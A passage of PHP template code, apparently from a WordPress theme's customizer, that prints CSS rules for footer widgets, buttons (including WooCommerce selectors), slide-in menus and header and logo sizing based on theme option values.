$primary_nav_font_spacing ); ?>px; <?php } ?> } <?php } ?> <?php if ( $menu_link_active !== '#2ea3f2' ) { ?> <?php if ( $color_scheme !== 'none' ) { ?> .et_color_scheme_red #top-menu li.current-menu-ancestor > a, .et_color_scheme_red #top-menu li.current-menu-item > a, .et_color_scheme_red #top-menu li.current_page_item > a, .et_color_scheme_pink #top-menu li.current-menu-ancestor > a, .et_color_scheme_pink #top-menu li.current-menu-item > a, .et_color_scheme_pink #top-menu li.current_page_item> a, .et_color_scheme_orange #top-menu li.current-menu-ancestor > a, .et_color_scheme_orange #top-menu li.current-menu-item > a, .et_color_scheme_orange #top-menu li.current_page_item > a, .et_color_scheme_green #top-menu li.current-menu-ancestor > a, .et_color_scheme_green #top-menu li.current-menu-item > a, .et_color_scheme_green #top-menu li.current_page_item > a, <?php } ?> #top-menu li.current-menu-ancestor > a, #top-menu li.current-menu-item > a, #top-menu li.current_page_item > a { color: <?php echo esc_html( $menu_link_active ); ?>; } <?php } ?> <?php if ( $footer_bg !== '#222222' ) { ?> #main-footer { background-color: <?php echo esc_html( $footer_bg ); ?>; } <?php } ?> <?php if ( $footer_widget_link_color !== '#fff' && $footer_widget_link_color !== '#ffffff' ) { ?> #footer-widgets .footer-widget a, #footer-widgets .footer-widget li a, #footer-widgets .footer-widget li a:hover { color: <?php echo esc_html( $footer_widget_link_color ); ?>; } <?php } ?> <?php if ( $footer_widget_text_color !== '#fff' && $footer_widget_text_color !== '#ffffff' ) { ?> .footer-widget { color: <?php echo esc_html( $footer_widget_text_color ); ?>; } <?php } ?> <?php if ( $footer_widget_header_color !== '#2ea3f2' ) { ?> #main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6 { color: <?php echo esc_html( $footer_widget_header_color ); ?>; } <?php } ?> <?php if ( $footer_widget_bullet_color !== '#2ea3f2' ) { ?> .footer-widget li:before { border-color: <?php echo esc_html( $footer_widget_bullet_color ); ?>; } <?php } ?> <?php if ( $body_font_size !== $widget_body_font_size ) { ?> .footer-widget, .footer-widget li, .footer-widget li a, #footer-info { font-size: <?php echo esc_html( $widget_body_font_size ); ?>px; } <?php } ?> <?php /* Widget */ et_pb_print_styles_css( array( array( 'key' => 'widget_header_font_style', 'type' => 'font-style', 'default' => '', 'selector' => '#main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6', ), array( 'key' => 'widget_body_font_style', 'type' => 'font-style', 'default' => '', 'selector' => '.footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget label', ), array( 'key' => 'widget_body_line_height', 'type' => 'line-height', 'default' => '', 'selector' => '.footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget label', ), ) ); /* Footer widget bullet fix */ if ( 1.7 !== $widget_body_line_height || 14 !== $widget_body_font_size ) { // line_height (em) * font_size (px) = line height in px $widget_body_line_height_px = floatval( $widget_body_line_height ) * intval( $widget_body_font_size ); // ( line height in px / 2 ) - half of bullet diameter $footer_widget_bullet_top = ( $widget_body_line_height_px / 2 ) - 3; printf( "#footer-widgets .footer-widget li:before { top: %spx; }", esc_html( $footer_widget_bullet_top ) ); } /* Footer Menu */ et_pb_print_styles_css( array( array( 'key' => 'footer_menu_background_color', 'type' => 'background-color', 'default' => 'rgba(255,255,255,0.05)', 'selector' => '#et-footer-nav' ), array( 'key' => 'footer_menu_text_color', 'type' => 'color', 'default' => '#bbbbbb', 'selector' => '.bottom-nav, .bottom-nav a, .bottom-nav li.current-menu-item a' ), array( 'key' => 'footer_menu_active_link_color', 'type' => 'color', 'default' => '#bbbbbb', 'selector' => '#et-footer-nav .bottom-nav li.current-menu-item a' ), array( 'key' => 'footer_menu_letter_spacing', 'type' => 'letter-spacing', 'default' => 0, 'selector' => '.bottom-nav' ), array( 'key' => 'footer_menu_font_style', 'type' => 'font-style', 'default' => '', 'selector' => '.bottom-nav a' ), array( 'key' => 'footer_menu_font_size', 'type' => 'font-size', 'default' => 14, 'selector' => '.bottom-nav, .bottom-nav a' ), ) ); /* Bottom Bar */ et_pb_print_styles_css( array( array( 'key' => 'bottom_bar_background_color', 'type' => 'background-color', 'default' => 'rgba(0,0,0,0.32)', 'selector' => '#footer-bottom' ), array( 'key' => 'bottom_bar_text_color', 'type' => 'color', 'default' => '#666666', 'selector' => '#footer-info, #footer-info a' ), array( 'key' => 'bottom_bar_font_style', 'type' => 'font-style', 'default' => '', 'selector' => '#footer-info, #footer-info a' ), array( 'key' => 'bottom_bar_font_size', 'type' => 'font-size', 'default' => 14, 'selector' => '#footer-info' ), array( 'key' => 'bottom_bar_social_icon_size', 'type' => 'font-size', 'default' => 24, 'selector' => '#footer-bottom .et-social-icon a' ), array( 'key' => 'bottom_bar_social_icon_color', 'type' => 'color', 'default' => '#666666', 'selector' => '#footer-bottom .et-social-icon a' ), ) ); ?> <?php if ( 'rgba' === substr( $primary_nav_bg, 0, 4 ) ) { ?> #main-header { box-shadow: none; } <?php } ?> <?php if ( 'rgba' === substr( $fixed_primary_nav_bg, 0, 4 ) || ( 'rgba' === substr( $primary_nav_bg, 0, 4 ) && '#ffffff' === $fixed_primary_nav_bg ) ) { ?> .et-fixed-header#main-header { box-shadow: none !important; } <?php } ?> <?php if ( 20 !== $button_text_size || ! empty( $button_text_color ) || 'rgba(0,0,0,0)' !== $button_bg_color || 2 !== $button_border_width || '#ffffff' !== $button_border_color || 3 !== $button_border_radius || '' !== $button_text_style || 0 !== $button_spacing ) { ?> <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button.alt' ); ?>, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, <?php echo $css( '.woocommerce #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'a.button' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button' ); ?>, <?php echo $css( '.woocommerce', 'button.button' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button' ); ?>, <?php echo $css( '.woocommerce', 'input.button' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button' ); ?>, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, <?php echo $css( '.woocommerce #content', 'input.button' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button' ); ?>, .woocommerce-message a.button.wc-forward, <?php } ?> <?php echo $css( 'body', '.et_pb_button' ); ?> { <?php if ( 20 !== $button_text_size ) { ?> font-size: <?php echo esc_html( $button_text_size ); ?>px; <?php } ?> <?php if ( 'rgba(0,0,0,0)' !== $button_bg_color ) { ?> background-color: <?php echo esc_html( $button_bg_color ); ?>; <?php } ?> <?php if ( 2 !== $button_border_width ) { ?> border-width: <?php echo esc_html( $button_border_width ); ?>px !important; <?php } ?> <?php if ( '#ffffff' !== $button_border_color ) { ?> border-color: <?php echo esc_html( $button_border_color ); ?>; <?php } ?> <?php if ( 3 !== $button_border_radius ) { ?> border-radius: <?php echo esc_html( $button_border_radius ); ?>px; <?php } ?> <?php if ( '' !== $button_text_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $button_text_style ) ); ?>; <?php } ?> <?php if ( 0 !== $button_spacing ) { ?> letter-spacing: <?php echo esc_html( $button_spacing ); ?>px; <?php } ?> } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'input.button.alt' ); ?>, .woocommerce.et_pb_button_helper_class #respond input#submit.alt, .woocommerce-page.et_pb_button_helper_class #respond input#submit.alt, <?php echo $css( '.woocommerce.et_pb_button_helper_class #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'a.button' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'a.button' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'button.button' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'button.button' ); ?>, <?php echo $css( '.woocommerce.et_pb_button_helper_class', 'input.button' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class', 'input.button' ); ?>, .woocommerce.et_pb_button_helper_class #respond input#submit, .woocommerce-page.et_pb_button_helper_class #respond input#submit, <?php echo $css( '.woocommerce.et_pb_button_helper_class #content', 'input.button' ); ?>, <?php echo $css( '.woocommerce-page.et_pb_button_helper_class #content', 'input.button' ); ?>, <?php } ?> <?php echo $css( 'body.et_pb_button_helper_class', '.et_pb_button' ); ?>, <?php echo $css( 'body.et_pb_button_helper_class', '.et_pb_module.et_pb_button' ); ?> { <?php if ( ! empty( $button_text_color ) ) { ?> color: <?php echo esc_html( $button_text_color ); ?>; <?php } ?> } <?php } ?> <?php if ( '5' !== $button_icon || '#ffffff' !== $button_icon_color || 20 !== $button_text_size ) { ?> <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'a.button.alt:after' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button.alt:after' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt:after' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt:after' ); ?>, <?php echo $css( '.woocommerce', 'input.button.alt:after' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button.alt:after' ); ?>, .woocommerce #respond input#submit.alt:after, .woocommerce-page #respond input#submit.alt:after, <?php echo $css( '.woocommerce #content', 'input.button.alt:after' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button.alt:after' ); ?>, <?php echo $css( '.woocommerce', 'a.button:after' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button:after' ); ?>, <?php echo $css( '.woocommerce', 'button.button:after' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button:after' ); ?>, <?php echo $css( '.woocommerce', 'input.button:after' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button:after' ); ?>, .woocommerce #respond input#submit:after, .woocommerce-page #respond input#submit:after, <?php echo $css( '.woocommerce #content', 'input.button:after' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button:after' ); ?>, <?php } ?> <?php echo $css( 'body', '.et_pb_button:after' ); ?> { <?php if ( '5' !== $button_icon ) { ?> <?php if ( "'" === $button_icon ) { ?> content: "<?php echo htmlspecialchars_decode( $button_icon ); ?>"; <?php } else { ?> content: '<?php echo htmlspecialchars_decode( $button_icon ); ?>'; <?php } ?> font-size: <?php echo esc_html( $button_text_size ); ?>px; <?php } else { ?> font-size: <?php echo esc_html( $button_icon_size ); ?>px; <?php } ?> <?php if ( '#ffffff' !== $button_icon_color ) { ?> color: <?php echo esc_html( $button_icon_color ); ?>; <?php } ?> } <?php } ?> <?php if ( ! empty( $button_text_color_hover ) || 'rgba(255,255,255,0.2)' !== $button_bg_color_hover || 'rgba(0,0,0,0)' !== $button_border_color_hover || 3 !== $button_border_radius_hover || 0 !== $button_spacing_hover ) { ?> <?php echo esc_attr( $css( 'body', '.et_pb_bg_layout_light.et_pb_button:hover' ) ); ?>, <?php echo esc_attr( $css( 'body', '.et_pb_bg_layout_light .et_pb_button:hover' ) ); ?>, <?php echo esc_attr( $css( 'body', '.et_pb_button:hover' ) ); ?> { <?php if ( ! empty( $button_text_color_hover ) ) { ?> color: <?php echo esc_html( $button_text_color_hover ); ?> !important; <?php } ?> <?php if ( 'rgba(255,255,255,0.2)' !== $button_bg_color_hover ) { ?> background-color: <?php echo esc_html( $button_bg_color_hover ); ?>; <?php } ?> <?php if ( 'rgba(0,0,0,0)' !== $button_border_color_hover ) { ?> border-color: <?php echo esc_html( $button_border_color_hover ); ?> !important; <?php } ?> <?php if ( 3 !== $button_border_radius_hover ) { ?> border-radius: <?php echo esc_html( $button_border_radius_hover ); ?>px; <?php } ?> <?php if ( 0 !== $button_spacing_hover ) { ?> letter-spacing: <?php echo esc_html( $button_spacing_hover ); ?>px; <?php } ?> } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'a.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt.disabled:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt.disabled:hover' ); ?>, <?php echo $css( '.woocommerce', 'input.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button.alt:hover' ); ?>, .woocommerce #respond input#submit.alt:hover, .woocommerce-page #respond input#submit.alt:hover, <?php echo $css( '.woocommerce #content', 'input.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button.alt:hover' ); ?>, <?php echo $css( '.woocommerce', 'a.button:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button:hover' ); ?>, <?php echo $css( '.woocommerce', 'button.button:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button:hover' ); ?>, <?php echo $css( '.woocommerce', 'input.button:hover' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button:hover' ); ?>, .woocommerce #respond input#submit:hover, .woocommerce-page #respond input#submit:hover, <?php echo $css( '.woocommerce #content', 'input.button:hover' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button:hover' ); ?> { <?php if ( ! empty( $button_text_color_hover ) ) { ?> color: <?php echo esc_html( $button_text_color_hover ); ?> !important; <?php } ?> <?php if ( 'rgba(255,255,255,0.2)' !== $button_bg_color_hover ) { ?> background-color: <?php echo esc_html( $button_bg_color_hover ); ?> !important; <?php } ?> <?php if ( 'rgba(0,0,0,0)' !== $button_border_color_hover ) { ?> border-color: <?php echo esc_html( $button_border_color_hover ); ?> !important; <?php } ?> <?php if ( 3 !== $button_border_radius_hover ) { ?> border-radius: <?php echo esc_html( $button_border_radius_hover ); ?>px; <?php } ?> <?php if ( 0 !== $button_spacing_hover ) { ?> letter-spacing: <?php echo esc_html( $button_spacing_hover ); ?>px; <?php } ?> } <?php } ?> <?php } ?> <?php if ( '' !== $body_header_style || 0 !== $body_header_spacing || 1.0 !== $body_header_height ) { ?> <?php echo $css( 'h1' ); ?>, <?php echo $css( 'h2' ); ?>, <?php echo $css( 'h3' ); ?>, <?php echo $css( 'h4' ); ?>, <?php echo $css( 'h5' ); ?>, <?php echo $css( 'h6' ); ?>, <?php echo $css( '.et_quote_content blockquote p' ); ?>, <?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> { <?php if ( $body_header_style !== '' ) { ?> <?php echo esc_html( et_pb_print_font_style( $body_header_style ) ); ?> <?php } ?> <?php if ( 0 !== $body_header_spacing ) { ?> letter-spacing: <?php echo esc_html( $body_header_spacing ); ?>px; <?php } ?> <?php if ( 1.0 !== $body_header_height ) { ?> line-height: <?php echo esc_html( $body_header_height ); ?>em; <?php } ?> } <?php } ?> <?php /* Blog Meta */ $et_pb_print_selectors_post_meta = "body.home-posts #left-area .et_pb_post .post-meta, body.archive #left-area .et_pb_post .post-meta, body.search #left-area .et_pb_post .post-meta, body.single #left-area .et_pb_post .post-meta"; et_pb_print_styles_css( array( array( 'key' => 'post_meta_height', 'type' => 'line-height', 'default' => 1, 'selector' => $et_pb_print_selectors_post_meta, ), array( 'key' => 'post_meta_spacing', 'type' => 'letter-spacing', 'default' => 0, 'selector' => $et_pb_print_selectors_post_meta, ), array( 'key' => 'post_meta_style', 'type' => 'font-style', 'default' => '', 'selector' => $et_pb_print_selectors_post_meta, ), ) ); /* Blog Title */ $et_pb_print_selectors_post_header = "body.home-posts #left-area .et_pb_post h2, body.archive #left-area .et_pb_post h2, body.search #left-area .et_pb_post h2, body.single .et_post_meta_wrapper h1"; et_pb_print_styles_css( array( array( 'key' => 'post_header_height', 'type' => 'line-height', 'default' => 1, 'selector' => $et_pb_print_selectors_post_header, ), array( 'key' => 'post_header_spacing', 'type' => 'letter-spacing', 'default' => 0, 'selector' => $et_pb_print_selectors_post_header, ), array( 'key' => 'post_header_style', 'type' => 'font-style', 'default' => '', 'selector' => $et_pb_print_selectors_post_header, ), ) ); ?> <?php if ( $header_style === 'slide' || $header_style === 'fullscreen' ) { ?> <?php if ( ! $slide_nav_show_top_bar ) { ?> .et_slide_menu_top { display: none; } <?php } ?> <?php if ( $accent_color !== $slide_nav_bg ) { ?> body #page-container .et_slide_in_menu_container { background: <?php echo esc_html( $slide_nav_bg ); ?>; } <?php } ?> <?php if ( '#ffffff' !== $slide_nav_links_color ) { ?> .et_slide_in_menu_container #mobile_menu_slide li span.et_mobile_menu_arrow:before, .et_slide_in_menu_container #mobile_menu_slide li a { color: <?php echo esc_html( $slide_nav_links_color ); ?>; } <?php } ?> <?php if ( '#ffffff' !== $slide_nav_links_color_active ) { ?> .et_slide_in_menu_container #mobile_menu_slide li.current-menu-item span.et_mobile_menu_arrow:before, .et_slide_in_menu_container #mobile_menu_slide li.current-menu-item a { color: <?php echo esc_html( $slide_nav_links_color_active ); ?>; } <?php } ?> <?php if ( 'rgba(255,255,255,0.6)' !== $slide_nav_top_color ) { ?> .et_slide_in_menu_container .et_slide_menu_top, .et_slide_in_menu_container .et_slide_menu_top a, .et_slide_in_menu_container .et_slide_menu_top input { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_slide_in_menu_container .et_slide_menu_top .et-search-form input, .et_slide_in_menu_container .et_slide_menu_top .et-search-form button#searchsubmit_header:before { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-webkit-input-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-moz-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_slide_in_menu_container .et_slide_menu_top .et-search-form input:-ms-input-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_header_style_fullscreen .et_slide_in_menu_container span.mobile_menu_bar.et_toggle_fullscreen_menu:before { color: <?php echo esc_html( $slide_nav_top_color ); ?>; } .et_header_style_fullscreen .et_slide_menu_top .et-search-form { border-color: <?php echo esc_html( $slide_nav_top_color ); ?>; } <?php } ?> <?php if ( 'rgba(255,255,255,0.6)' !== $slide_nav_search ) { ?> .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input, .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form button#searchsubmit_header:before { color: <?php echo esc_html( $slide_nav_search ); ?>; } .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-webkit-input-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; } .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-moz-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; } .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input:-ms-input-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; } <?php } ?> <?php if ( 'rgba(0,0,0,0.2)' !== $slide_nav_search_bg ) { ?> .et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form { background: <?php echo esc_html( $slide_nav_search_bg ); ?> !important; } <?php } ?> <?php if ( 320 !== $slide_nav_width ) { ?> .et_header_style_slide .et_slide_in_menu_container { width: <?php echo esc_html( $slide_nav_width ); ?>px; } <?php } ?> <?php if ( '' !== $slide_nav_font_style ) { ?> .et_slide_in_menu_container, .et_slide_in_menu_container .et-search-field, .et_slide_in_menu_container a, .et_slide_in_menu_container #et-info span { <?php echo esc_html( et_pb_print_font_style( $slide_nav_font_style ) ); ?> } <?php } ?> <?php if ( 14 !== $slide_nav_font_size ) { ?> .et_header_style_slide .et_slide_in_menu_container .et_mobile_menu li a { font-size: <?php echo esc_html( $slide_nav_font_size ); ?>px; } <?php } ?> <?php if ( 14 !== $slide_nav_top_font_size ) { ?> .et_header_style_slide .et_slide_in_menu_container, .et_header_style_slide .et_slide_in_menu_container input.et-search-field, .et_header_style_slide .et_slide_in_menu_container a, .et_header_style_slide .et_slide_in_menu_container #et-info span, .et_header_style_slide .et_slide_menu_top ul.et-social-icons a, .et_header_style_slide .et_slide_menu_top span { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; } .et_header_style_slide .et_slide_in_menu_container .et-search-field::-moz-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; } .et_header_style_slide .et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; } .et_header_style_slide .et_slide_in_menu_container .et-search-field:-ms-input-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; } <?php } ?> <?php if ( 30 !== $fullscreen_nav_font_size ) { ?> .et_header_style_fullscreen .et_slide_in_menu_container .et_mobile_menu li a { font-size: <?php echo esc_html( $fullscreen_nav_font_size ); ?>px; } .et_slide_in_menu_container #mobile_menu_slide li.current-menu-item a, .et_slide_in_menu_container #mobile_menu_slide li a { padding: <?php echo esc_html( $fullscreen_nav_font_size / 2 ); ?>px 0; } <?php } ?> <?php if ( 18 !== $fullscreen_nav_top_font_size ) { ?> .et_header_style_fullscreen .et_slide_in_menu_container, .et_header_style_fullscreen .et_slide_in_menu_container input.et-search-field, .et_header_style_fullscreen .et_slide_in_menu_container a, .et_header_style_fullscreen .et_slide_in_menu_container #et-info span, .et_header_style_fullscreen .et_slide_menu_top ul.et-social-icons a, .et_header_style_fullscreen .et_slide_menu_top span { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; } .et_header_style_fullscreen .et_slide_in_menu_container .et-search-field::-moz-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; } .et_header_style_fullscreen .et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; } .et_header_style_fullscreen .et_slide_in_menu_container .et-search-field:-ms-input-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; } <?php } ?> <?php if ( 0 !== $slide_nav_font_spacing ) { ?> .et_slide_in_menu_container, .et_slide_in_menu_container .et-search-field { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; } .et_slide_in_menu_container .et-search-field::-moz-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; } .et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; } .et_slide_in_menu_container .et-search-field:-ms-input-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; } <?php } ?> <?php } ?> @media only screen and ( min-width: 981px ) { <?php if ( 4 !== $section_padding ) { ?> <?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( $section_padding ); ?>% 0; } <?php echo $css( '.et_pb_fullwidth_section', false ); ?> { padding: 0; } <?php } ?> <?php if ( 2 !== $row_padding ) { ?> <?php echo $css( '.et_pb_row', false ); ?> { padding: <?php echo esc_html( $row_padding ); ?>% 0; } <?php } ?> <?php if ( intval( $body_header_size * .6 ) !== $widget_header_font_size ) { ?> #main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6 { font-size: <?php echo esc_html( $widget_header_font_size ); ?>px; } <?php } ?> <?php if ( 66 !== $menu_height ) { ?> .et_header_style_left #et-top-navigation, .et_header_style_split #et-top-navigation { padding: <?php echo esc_html( round( $menu_height / 2 ) ); ?>px 0 0 0; } .et_header_style_left #et-top-navigation nav > ul > li > a, .et_header_style_split #et-top-navigation nav > ul > li > a { padding-bottom: <?php echo esc_html( round ( $menu_height / 2 ) ); ?>px; } .et_header_style_split .centered-inline-logo-wrap { width: <?php echo esc_html( $menu_height ); ?>px; margin: -<?php echo esc_html( $menu_height ); ?>px 0; } .et_header_style_split .centered-inline-logo-wrap #logo { max-height: <?php echo esc_html( $menu_height ); ?>px; } .et_pb_svg_logo.et_header_style_split .centered-inline-logo-wrap #logo { height: <?php echo esc_html( $menu_height ); ?>px; } .et_header_style_centered #top-menu > li > a { padding-bottom: <?php echo esc_html( round ( $menu_height * .18 ) ); ?>px; } .et_header_style_slide #et-top-navigation, .et_header_style_fullscreen #et-top-navigation { padding: <?php echo esc_html( round( ( $menu_height - 18 ) / 2 ) ); ?>px 0 <?php echo esc_html( round( ( $menu_height - 18 ) / 2 ) ); ?>px 0 !important; } <?php if ( ! $vertical_nav ) { ?> .et_header_style_centered #main-header .logo_container { height: <?php echo esc_html( $menu_height ); ?>px; } <?php } ?> <?php } ?> <?php if ( 54 !== $logo_height && in_array( $header_style, array( 'left', 'slide', 'fullscreen' ) ) ) { ?> #logo { max-height: <?php echo esc_html( $logo_height . '%' ); ?>; } .et_pb_svg_logo #logo { height: <?php echo esc_html( $logo_height . '%' ); ?>; } <?php } ?> <?php if ( 64 !== $logo_height && 'centered' === $header_style ) { ?> .et_header_style_centered #logo { max-height: <?php echo esc_html( $logo_height . '%' ); ?>; } .et_pb_svg_logo.et_header_style_centered #logo { height: <?php echo esc_html( $logo_height . '%' ); ?>; } <?php } ?> <?php if ( $vertical_nav && et_get_option( 'logo_height' ) ) { ?> #main-header .logo_container { width: <?php echo esc_html( $logo_height . '%' ); ?>; } .et_header_style_centered #main-header .logo_container, .et_header_style_split #main-header .logo_container { margin: 0 auto; } <?php } ?> <?php if ( $vertical_nav && 0 !== $menu_margin_top ) { ?> .et_vertical_nav #et-top-navigation { margin-top: <?php echo esc_html( $menu_margin_top . 'px' ); ?>;} <?php } ?> <?php if ( 'false' !== $hide_primary_logo || 'false' !== $hide_fixed_logo ) { ?> .et_header_style_centered.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container, .et_header_style_centered.et_hide_fixed_logo #main-header.et-fixed-header .logo_container { height: <?php echo esc_html( $menu_height * .18 ); ?>px; } <?php } ?> <?php if ( 40 !== $fixed_menu_height ) { ?> .et_header_style_left .et-fixed-header #et-top-navigation, .et_header_style_split .et-fixed-header #et-top-navigation { padding: <?php echo esc_html( intval( round( $fixed_menu_height / 2 ) ) ); ?>px 0 0 0; } .et_header_style_left .et-fixed-header #et-top-navigation nav > ul > li > a, .et_header_style_split .et-fixed-header #et-top-navigation nav > ul > li > a { padding-bottom: <?php echo esc_html( round( $fixed_menu_height / 2 ) ); ?>px; } .et_header_style_centered header#main-header.et-fixed-header .logo_container { height: <?php echo esc_html( $fixed_menu_height ); ?>px; } .et_header_style_split #main-header.et-fixed-header .centered-inline-logo-wrap { width: <?php echo esc_html( $fixed_menu_height ); ?>px; margin: -<?php echo esc_html( $fixed_menu_height ); ?>px 0; } .et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { max-height: <?php echo esc_html( $fixed_menu_height ); ?>px; } .et_pb_svg_logo.et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { height: <?php echo esc_html( $fixed_menu_height ); ?>px; } .et_header_style_slide .et-fixed-header #et-top-navigation, .et_header_style_fullscreen .et-fixed-header #et-top-navigation { padding: <?php echo esc_html( round( ( $fixed_menu_height - 18 ) / 2 ) ); ?>px 0 <?php echo esc_html( round( ( $fixed_menu_height - 18 ) / 2 ) ); ?>px 0 !important; } <?php } ?> <?php if ( 54 !== $logo_height && 'split' === $header_style ) { ?> .et_header_style_split #main-header .centered-inline-logo-wrap { width: auto; height: <?php echo esc_html( ( ( intval( $menu_height ) / 100 ) * $logo_height ) + 14 ); ?>px; } .et_header_style_split #main-header.et-fixed-header .centered-inline-logo-wrap { width: auto; height: <?php echo esc_html( ( ( intval( $fixed_menu_height ) / 100 ) * $logo_height ) + 14 ); ?>px; } .et_header_style_split .centered-inline-logo-wrap #logo, .et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { height: auto; max-height: 100%; } <?php } ?> <?php if ( $fixed_secondary_nav_bg !== '#2ea3f2' ) { ?> .et_fixed_nav #page-container .et-fixed-header#top-header { background-color: <?php echo esc_html( $fixed_secondary_nav_bg ); ?> !important; } .et_fixed_nav #page-container .et-fixed-header#top-header #et-secondary-nav li ul { background-color: <?php echo esc_html( $fixed_secondary_nav_bg ); 